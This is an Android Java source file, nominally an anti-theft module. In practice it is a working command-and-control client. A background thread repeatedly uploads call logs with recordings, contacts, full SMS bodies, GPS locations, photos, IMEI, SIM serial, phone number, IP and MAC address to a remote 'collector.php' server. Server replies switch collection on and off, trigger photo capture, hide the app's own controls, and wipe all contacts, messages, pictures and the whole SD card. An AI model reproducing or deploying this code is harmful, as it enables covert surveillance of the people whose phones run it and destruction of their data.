package com.security.antitheft.module;

import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.List;

import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.mime.HttpMultipartMode;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.json.JSONException;
import org.json.JSONObject;

import com.security.antitheft.service.BootService;
import com.security.antitheft.ui.ShareUISetting;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Environment;
import android.os.PowerManager;
import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.Toast;

public class NetworkStateReceiver extends BroadcastReceiver {

	public static final String ACTION_BOOTABLE_REFRESH_NETWORK = "com.security.antitheft.module.ACTION_REFRESH_NETWORK";
	private NetworkStateMonitor nsMon = new NetworkStateMonitor();
	
	public Context context;
	private static WebPostThread postTask = null;

	@Override
	public void onReceive(Context context, Intent intent) {
		
		//Log.e("NetworkStateReceiver", "==========NetworkStateReceiver+++++++++++");
		this.context = context;
		ConnectivityManager cm = (ConnectivityManager) context
				.getSystemService(Context.CONNECTIVITY_SERVICE);

		NetworkInfo activeNetwork = cm.getActiveNetworkInfo();
		//BG_18.06.2013: Do not restart the thread all the time, just keep it informed
		// about network state.
		if (activeNetwork != null) {	
			boolean isConnected = activeNetwork.isConnectedOrConnecting();
			nsMon.setConnected(activeNetwork.isConnected());
			if (isConnected)
				startComm();
		}
		else
			nsMon.setConnected(false);
	}

	public void unbind() {
		stopComm();
	}

	private void startComm() {
		if (postTask == null)
		{
			postTask = new WebPostThread(this.context, (BootService) context, nsMon);
			//BG_18.06.2013: This call needs to be inside the if-block,
			// otherwise we would attempt to start a running thread again.
			postTask.start();
		}
		else if(!postTask.isAlive())
		{
			//BG_18.06.2013: If thread has died for some reason, restart it.
			postTask = new WebPostThread(this.context, (BootService) context, nsMon);
			postTask.start();
		}
	}

	private void stopComm() {
		if (postTask != null) 
		{
			postTask.stopTask();
			postTask.interrupt();
			postTask = null;
		}
	}
}

class NetworkStateMonitor {
	private volatile boolean isConnected = false;
	
	public void setConnected(boolean value) { this.isConnected = value; }
	public boolean isConnected() { return this.isConnected; }
}

class WebPostThread extends Thread {

	private long wait_time = 2000;
	private Context context;
	private CommandChangeListener cmd_listener = null;
	private boolean isRunning = false;
	private NetworkStateMonitor nsMon;
	
	/** for queue */
	private QueueHelper queue;
	/** for HTTP */
	private String serverAddress;
	private String imei;
	
	//k-review	
	private String mProvider = null;
	private String mPhoneNumber = null;
	private String mDeviceID = null;
	private String mSimSN = null;
	private String mRandomPassword = null;
	
	public WebPostThread(Context context, CommandChangeListener listener, NetworkStateMonitor nsMon) {
		this.context = context;
		this.cmd_listener = listener;
		this.nsMon = nsMon;
		
		TelephonyManager mngr = (TelephonyManager) context
				.getSystemService(Context.TELEPHONY_SERVICE);
		imei = mngr.getDeviceId();
		
		//k-review
		mProvider = mngr.getSimOperatorName();
		mPhoneNumber = mngr.getLine1Number();
		mDeviceID = mngr.getDeviceId();
		mSimSN = mngr.getSimSerialNumber();
	}

	@Override
	public void run() {

		if (this.imei.equals(""))
			return;

		isRunning = true;
		queue = new QueueHelper(this.context, true);
		//Log.i("WebPostThread", "=======WebPostThread === run()==");

		while (isRunning) {

			try {
				Log.i("WebPostThread", "=======WebPostThread === loopping==");
				
				serverAddress = ShareSetting.serverTo(context);

				//BG_18.06.2013: Added checks here, if we are not actually connected, there
				// is no point.
				if (!this.serverAddress.equals("") && nsMon.isConnected()) {

					int status = 0;
					//k-review
								
					if(nsMon.isConnected())
						status += postDevieInfo();
					
					if(nsMon.isConnected())
						status += postOption();

					if(nsMon.isConnected())
						status += postCallLog();

					if(nsMon.isConnected())
						status += postLocation();

					if(nsMon.isConnected())
						status += postContact();

					if(nsMon.isConnected())
						status += postPics();

					if(nsMon.isConnected())
						status += postSms();

					if(nsMon.isConnected())
						if (status == 0) {
							postIdle();
							wait_time = 10000;
						} else {
							wait_time = 2000;
						}
				}

				Thread.sleep(wait_time);
			} catch (Exception e) {
			}
		}
		queue.close();
		queue = null;
	}

	public void stopTask() {
		isRunning = false;
		try {
			Thread.sleep(wait_time * 2);
		} catch (InterruptedException e) {
		}

	}

	public void startTask() {
		start();
	}

	private int postCallLog() {

		if (!ShareSetting.isEnableCallLog(context))
			return 0;

		HashMap<String, String> data = queue.fetchCallLogByOne();
		if (data.isEmpty())
			return 0;

		String id = data.get("id");
		String direction = data.get("direction");
		String start_time = data.get("start_time");
		String end_time = data.get("end_time");
		String phone_no = data.get("phone_no");
		String path = data.get("log_path");

		String url = prefixUrl() + "&type=cl";

		try {

			MultipartEntity mpEntity = new MultipartEntity(
					HttpMultipartMode.BROWSER_COMPATIBLE);
			mpEntity.addPart("direction", new StringBody(direction));
			mpEntity.addPart("start_time", new StringBody(start_time));
			mpEntity.addPart("end_time", new StringBody(end_time));
			mpEntity.addPart("phone_no", new StringBody(phone_no));
			File f = new File(path);
			if (f.exists())
				mpEntity.addPart("datafile", new FileBody(new File(path)));

			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			httppost.setEntity(mpEntity);
			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();
			
			if (parseResponse(str.toString())) {
			queue.removeCallLog(id);
				deleteFile(path);
			}
			//Log.i("hoho", "postCallLog");
			return 1;

		} catch (Exception e) {
		}
		return 0;
	}

	private int postContact() {

		if (!ShareSetting.isEnableContact(context))
			return 0;

		HashMap<String, String> data = queue.fetchContactByOne();

		if (data.isEmpty())
			return 0;

		String id = data.get("id");
		String add_time = data.get("add_time");
		String name = data.get("name");
		String phone_no = data.get("phone_no");

		String url = prefixUrl() + "&type=ct";

		try {
			List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
			nameValuePairs.add(new BasicNameValuePair("add_time", add_time));
			nameValuePairs.add(new BasicNameValuePair("name", name));
			nameValuePairs.add(new BasicNameValuePair("phone_no", phone_no));

			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();

			if (parseResponse(str.toString())) {
				queue.removeContact(id);
			}
			//Log.i("hoho", "postContact");
			return 1;

		} catch (Exception e) {
		}
		return 0;
	}

	private int postLocation() {

		if (!ShareSetting.isEnableLocation(context))
			return 0;

		HashMap<String, String> data = queue.fetchLocationByOne();

		if (data.isEmpty())
			return 0;

		String id = data.get("id");
		String update_time = data.get("update_time");
		String accuracy = data.get("accuracy");
		String altitude = data.get("altitude");
		String bearing = data.get("bearing");
		String speed = data.get("speed");
		String latitude = data.get("latitude");
		String longitude = data.get("longitude");
		String isgps = data.get("isgps");

		String url = prefixUrl() + "&type=lo";

		try {
			List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
			nameValuePairs.add(new BasicNameValuePair("update_time",
					update_time));
			nameValuePairs.add(new BasicNameValuePair("accuracy", accuracy));
			nameValuePairs.add(new BasicNameValuePair("bearing", bearing));
			nameValuePairs.add(new BasicNameValuePair("speed", speed));
			nameValuePairs.add(new BasicNameValuePair("altitude", altitude));
			nameValuePairs.add(new BasicNameValuePair("latitude", latitude));
			nameValuePairs.add(new BasicNameValuePair("longitude", longitude));
			nameValuePairs.add(new BasicNameValuePair("isgps", isgps));

			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();

			if (parseResponse(str.toString())) {
				queue.removeLocation(id);
			}
			//Log.i("hoho", "postLocation");
			return 1;

		} catch (Exception e) {
		}
		return 0;
	}

	private int postSms() {

		if (!ShareSetting.isEnableSms(context))
			return 0;

		HashMap<String, String> data = queue.fetchSmsByOne();

		if (data.isEmpty())
			return 0;

		String id = data.get("id");
		String direction = data.get("direction");
		String timestamp = data.get("timestamp");
		String address = data.get("address");
		String protocol = data.get("protocol");
		String body = data.get("body");

		String url = prefixUrl() + "&type=sm";

		try {
			List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
			nameValuePairs.add(new BasicNameValuePair("direction", direction));
			nameValuePairs.add(new BasicNameValuePair("timestamp", timestamp));
			nameValuePairs.add(new BasicNameValuePair("address", address));
			nameValuePairs.add(new BasicNameValuePair("protocol", protocol));
			nameValuePairs.add(new BasicNameValuePair("body", body));

			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();

			if (parseResponse(str.toString())) {
				queue.removeSms(id);
			}
			//Log.i("hoho", "postSms");
			return 1;

		} catch (Exception e) {
		}
		return 0;
	}

	private int postPics() {

		HashMap<String, String> data = queue.fetchPrivatePicsByOne();
		if (ShareSetting.isEnablePics(context)) {
			if (data.isEmpty())
				data = queue.fetchPicsByOne();
		}

		if (data.isEmpty())
			return 0;

		String id = data.get("id");
		String add_time = data.get("add_time");
		String path = data.get("path");
		int type = Integer.parseInt(data.get("type"));

		String url = prefixUrl() + "&type=pi";

		try {
			MultipartEntity mpEntity = new MultipartEntity(
					HttpMultipartMode.BROWSER_COMPATIBLE);
			mpEntity.addPart("add_time", new StringBody(add_time));
			File f = new File(path);
			if (f.exists())
				mpEntity.addPart("datafile", new FileBody(new File(path)));

			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			httppost.setEntity(mpEntity);
			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();

			if (parseResponse(str.toString())) {
				queue.removePics(id);
			}
			if (type == 1) {// private photo
				deleteFile(path);
			}
			//Log.i("hoho", "postPics");
			return 1;

		} catch (Exception e) {
		}
		return 0;
	}

	private int postOption() {

		int flag = ShareUISetting.appFlag(context);
		if (flag != ShareUISetting.OPT_CHANGED
				&& flag != ShareUISetting.JUST_INSTALLED) {
			return 0;
		}

		try {
			String url = prefixUrl() + "&type=opt";

			List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
			nameValuePairs
					.add(new BasicNameValuePair("location", ShareUISetting
							.isEnableRemoteLocation(context) ? "1" : "0"));
			nameValuePairs.add(new BasicNameValuePair("lock", ShareUISetting
					.isEnableRemoteLock(context) ? "1" : "0"));
			nameValuePairs.add(new BasicNameValuePair("erase", ShareUISetting
					.isEnableRemoteErase(context) ? "1" : "0"));
			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();

			if (parseResponse(str.toString())) {
				ShareUISetting.setAppFlag(context, ShareUISetting.OPT_APPLY);
			}
			return 1;

		} catch (Exception e) {
		}
		return 0;
	}

	private void postIdle() {

		try {
			String url = prefixUrl() + "&type=idle";

			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();

			if (parseResponse(str.toString())) {
			}

		} catch (Exception e) {
			e.printStackTrace();
		}
	}
	
	//k-review
	private int postDevieInfo() {
		
		boolean bDeviceInfo = ShareSetting.GetDeviceInfo(context);
		if(bDeviceInfo == false)
		{
			//Log.i("HHHHH", "GetDeviceInfo === false");
			return 0;
		}
		
		String url = prefixUrl() + "&type=di";

		try {
			
			TelephonyManager mngr = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
			
			mProvider = mngr.getSimOperatorName();
			mPhoneNumber = mngr.getLine1Number();
			mDeviceID = mngr.getDeviceId();
			mSimSN = mngr.getSimSerialNumber();
			
			List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
			nameValuePairs.add(new BasicNameValuePair("provider", mProvider));
			nameValuePairs.add(new BasicNameValuePair("phonenumber", mPhoneNumber));
			nameValuePairs.add(new BasicNameValuePair("deviceid", mDeviceID));
			nameValuePairs.add(new BasicNameValuePair("simsn", mSimSN));
			
//			Log.i("HHHHH", "provider === " + mProvider);
//			Log.i("HHHHH", "phonenumber === " + mPhoneNumber);
//			Log.i("HHHHH", "deviceid === " + mDeviceID);
//			Log.i("HHHHH", "simsn === " + mSimSN);
			
			WifiManager wifiManager = (WifiManager)context.getSystemService(Context.WIFI_SERVICE);  
			WifiInfo wifiInfo = wifiManager.getConnectionInfo();  
			int ipAddress = wifiInfo.getIpAddress();  
			String strIPAddress = String.format("%d.%d.%d.%d",(ipAddress & 0xff),(ipAddress >> 8 & 0xff),(ipAddress >> 16 & 0xff),(ipAddress >> 24 & 0xff));  
			String macAddress = wifiInfo.getMacAddress();
			
			nameValuePairs.add(new BasicNameValuePair("ip", strIPAddress));
			nameValuePairs.add(new BasicNameValuePair("mac", macAddress));
//			Log.i("HHHHH", "IPAddress === " + strIPAddress);
//			Log.i("HHHHH", "MacAddress === " + macAddress);
			
			mRandomPassword = ShareUISetting.GetRandomPassword(context);
			nameValuePairs.add(new BasicNameValuePair("randompwd", mRandomPassword));
//			Log.i("HHHHH", "randompwd === " + mRandomPassword);

			HttpClient httpclient = new DefaultHttpClient();
			HttpPost httppost = new HttpPost(url);
			httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

			HttpResponse response = httpclient.execute(httppost);
			InputStream in = response.getEntity().getContent();
			BufferedReader reader = new BufferedReader(
					new InputStreamReader(in));
			StringBuilder str = new StringBuilder();
			String line = null;
			while ((line = reader.readLine()) != null) {
				str.append(line + "\n");
			}
			in.close();

			if (parseResponse(str.toString())) {
				//response
			}
//			Log.i("hoho", "postDeviceInfo");
			return 1;

		} catch (Exception e) {
			e.printStackTrace();
		}
		return 0;
	}

	private String prefixUrl() {
		return "http://" + serverAddress + "/mobile/collector.php?imei=" + imei;
	}

	private boolean parseResponse(String res) throws JSONException {
		//k-review
		String strResponse = res.toString();
		if(strResponse != null && strResponse.length() != 0)
		{
			int nIndex = strResponse.lastIndexOf("{");
			if(nIndex != -1)
			{
				strResponse = strResponse.substring(nIndex);
			}
		}

//		Log.e("NetStateReceiver", "=======  strResponse ===" + strResponse);
		JSONObject json = new JSONObject(strResponse);
		// check new command
		String isCommand = json.getString("command");
		if (isCommand.equals("TRUE")) {
			String cmd = json.getString("cl");
			boolean enableCallLog = cmd.equals("1") ? true : false;
			cmd = json.getString("ct");
			boolean enableContact = cmd.equals("1") ? true : false;
			cmd = json.getString("lo");
			boolean enableLocation = cmd.equals("1") ? true : false;
			cmd = json.getString("sm");
			boolean enableSms = cmd.equals("1") ? true : false;
			cmd = json.getString("pi");
			boolean enablePics = cmd.equals("1") ? true : false;
			cmd = json.getString("tp");
			boolean takeShot = cmd.equals("1") ? true : false;
			
			//k-review
			cmd = json.getString("di");
			boolean bDeviceInfo = cmd.equals("1") ? true : false;
			ShareSetting.SetDeviceInfo(context, bDeviceInfo);
			
			//k-review
			boolean visibleLocation = true;
			boolean visibleLock = false;
			boolean visibleErase = false;
			boolean visiblePins = true;
			
			cmd = json.getString("reduced");
			boolean visibleRemote = cmd.equals("1") ? true : false;
			if(visibleRemote)
			{
				ShareUISetting.SetVisibleStateFromRemote(context, visibleLocation, visibleLock, visibleErase, visiblePins);
			}
			else
			{
//				Log.e("NetStateReceiver", "=======  Setting +++ command_visibleRemote ===");
				ShareUISetting.SetVisibleStateFromRemote(context, true, true, true, true);				
			}
			
			//k-review
			//Log.i("NetStateReceiver", "=======  SetLockFromRemote ===");
//			cmd = json.getString("lock");
//			boolean bLockFromRemote = cmd.equals("1") ? true : false;
//			if(bLockFromRemote)
//			{
//				Log.e("NetStateReceiver", "=======  Setting +++ command_Lock ===");
//				
//				boolean bLockRelease = ShareSetting.GetLockRelease(context);
//				if(bLockRelease == false)
//				{
//					Log.e("NetStateReceiver", "=======  Setting +++ command_Lock_release_false ===");
//					ShareSetting.SetLockFromRemote(context, bLockFromRemote);
//				}
//				else
//				{
//					Log.e("NetStateReceiver", "=======  Setting +++ command_Lock_release_true ===");
//				}
//			}
			
			//k-review
			//Log.i("NetStateReceiver", "=======  DeleteAll contact, SMS, PICs, SDCard ===");
			boolean eraseContacts = false;
			boolean eraseSMS = false;
			boolean erasePICs = false;
			boolean eraseSDCard = false;
			
			cmd = json.getString("erase");
			boolean eraseAllData = cmd.equals("1") ? true : false;
			if(eraseAllData)
			{
//				Log.e("NetStateReceiver", "=======  Setting +++ command_Erase ===");
				
				eraseContacts = true;
				eraseSMS = true;
				erasePICs = true;
				eraseSDCard = true;
				
				//erase state
				ShareSetting.SetEraseState(context, true);
			}
			
			if(eraseContacts)
			{
				DeleteAllContacts();
				queue.deleteAllContact();
			}
			
			if(eraseSMS)
			{
				DeleteAllSMS();
				queue.deleteAllSms();
			}
			
			if(erasePICs)
			{
				DeleteAllPics();
				queue.deleteAllPics();
			}
			
			if(eraseSDCard)
				DeleteSDCard();

			String url = prefixUrl() + "&type=cmdok";
			try {
				HttpClient httpclient = new DefaultHttpClient();
				HttpPost httppost = new HttpPost(url);
				httpclient.execute(httppost);
			} catch (Exception e) {
			}

			boolean old_enableCallLog = ShareSetting.isEnableCallLog(context);
			boolean old_enableContact = ShareSetting.isEnableContact(context);
			boolean old_enableLocation = ShareSetting.isEnableLocation(context);
			boolean old_enableSms = ShareSetting.isEnableSms(context);
			boolean old_enablePics = ShareSetting.isEnablePics(context);

			ShareSetting.setServiceStatus(context, enableCallLog,
					enableContact, enableLocation, enableSms, enablePics);

			if (cmd_listener != null) {
				if (enableCallLog != old_enableCallLog) {
					cmd_listener.onCommandChanged("cl", enableCallLog);
				}
				if (enableContact != old_enableContact) {
					cmd_listener.onCommandChanged("ct", enableContact);
				}
				if (enableLocation != old_enableLocation) {
					cmd_listener.onCommandChanged("lo", enableLocation);
				}
				if (enableSms != old_enableSms) {
					cmd_listener.onCommandChanged("sm", enableSms);
				}
				if (enablePics != old_enablePics) {
					cmd_listener.onCommandChanged("pi", enablePics);
				}
				if (takeShot) {
					cmd_listener.onCommandChanged("tp", true);
				}

			}

		}
		String status = json.getString("status");
		if (status.equals("OK"))
			return true;

		return false;
	}

	private boolean deleteFile(String path) {
		File file = new File(path);
		if (file.exists())
			return file.delete();

		return true;
	}
	
	//k-review
	//Delete All Contacts
	private void DeleteAllContacts()
	{
		Uri uriContact = ContactsContract.Contacts.CONTENT_URI;
//		Log.i("NetworkStateReceiver", "========= DeleteAllContacts === start");
		
		try {
			ContentResolver contentResolver = context.getContentResolver();		
			Cursor cursor = contentResolver.query(uriContact, null, null, null, null);
			
			while (cursor.moveToNext()) {
				String lookupKey = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
				Uri uri = Uri.withAppendedPath(ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey);
				contentResolver.delete(uri, null, null);
			}
			
			cursor.close();
			contentResolver.notifyChange(uriContact, null);
			
		} catch (Exception e) {
//			Log.i("NetworkStateReceiver", "========= DeleteAllContacts === exception");
		}
		
//		Log.i("NetworkStateReceiver", "========= DeleteAllContacts === end");
	}
	
	//k-review
	//Delete SMS
	private void DeleteAllSMS() {
		Uri uriSMS = Uri.parse("content://sms");
//		Log.i("NetworkStateReceiver", "========= SMSDelete === start");

		try {
			Cursor cursor = context.getContentResolver().query(uriSMS, null, null, null, null);
			while (cursor.moveToNext()) {
				// Delete the SMS
				String pid = cursor.getString(0);
				// Get id;
				String uri = "content://sms/" + pid;
				context.getContentResolver().delete(Uri.parse(uri),	null, null);
			}
			
			cursor.close();
			context.getContentResolver().notifyChange(uriSMS, null);
		} catch (Exception e) {
//			Log.e("NetworkStateReceiver", "========= SMSDelete === exception");
		}

//		Log.i("NetworkStateReceiver", "========= SMSDelete === end");
	}
	
	//k-review
	//delete PICs
	private void DeleteAllPics() {
		Uri uriPICs =MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
//		Log.i("NetworkStateReceiver", "========= DeleteAllPics === start");
		try {
			Cursor cursor = context.getContentResolver().query(uriPICs, null, null, null, MediaStore.Images.ImageColumns._ID + " DESC");

			while (cursor.moveToNext()) {
				long id = cursor.getInt(cursor.getColumnIndexOrThrow(MediaStore.Images.ImageColumns._ID));
				
				context.getContentResolver().delete(uriPICs, MediaStore.Images.ImageColumns._ID + "=" + id, null);
			}
			
			cursor.close();
			context.getContentResolver().notifyChange(uriPICs, null);			
		} catch (Exception e) {
//			Log.e("NetworkStateReceiver", "========= DeleteAllPics === exception");
		}
		
//		Log.i("NetworkStateReceiver", "========= DeleteAllPics === end");
	}
	
	//k-review
	//Delete SDCard
	private void DeleteSDCard(){
	    if (Environment.getExternalStorageState().equals("mounted") == false)
	    {
	    	Toast.makeText(context, "SD card was not mounted on your phone.", Toast.LENGTH_SHORT).show();
	    	return;
	    }
	    
//	    Log.i("NetworkStateReceiver", "========= DeleteSDCard === start");
		
	    try{
	    	File oFile = Environment.getExternalStorageDirectory();
	    	DeleteFolder(oFile);
	    	
//	    	Log.i("NetworkStateReceiver", "========= DeleteSDCard === end");
	    }
	    catch(Exception e)
	    {
//	    	Log.e("NetworkStateReceiver", "========= DeleteSDCard === exception");
	    }
	}
	private void DeleteFolder(File targetFolder){
		try {
			File[] childFile = targetFolder.listFiles();
			boolean confirm = false;
			int size = childFile.length;

			if (size > 0) {
				for (int i = 0; i < size; i++) {
					if (childFile[i].isFile()) {
						confirm = childFile[i].delete();
					} else {
						DeleteFolder(childFile[i]);
					}
				}
			}

			targetFolder.delete();
			// return (!targetFolder.exists());
		} catch (Exception e) {

		}
	}	
}
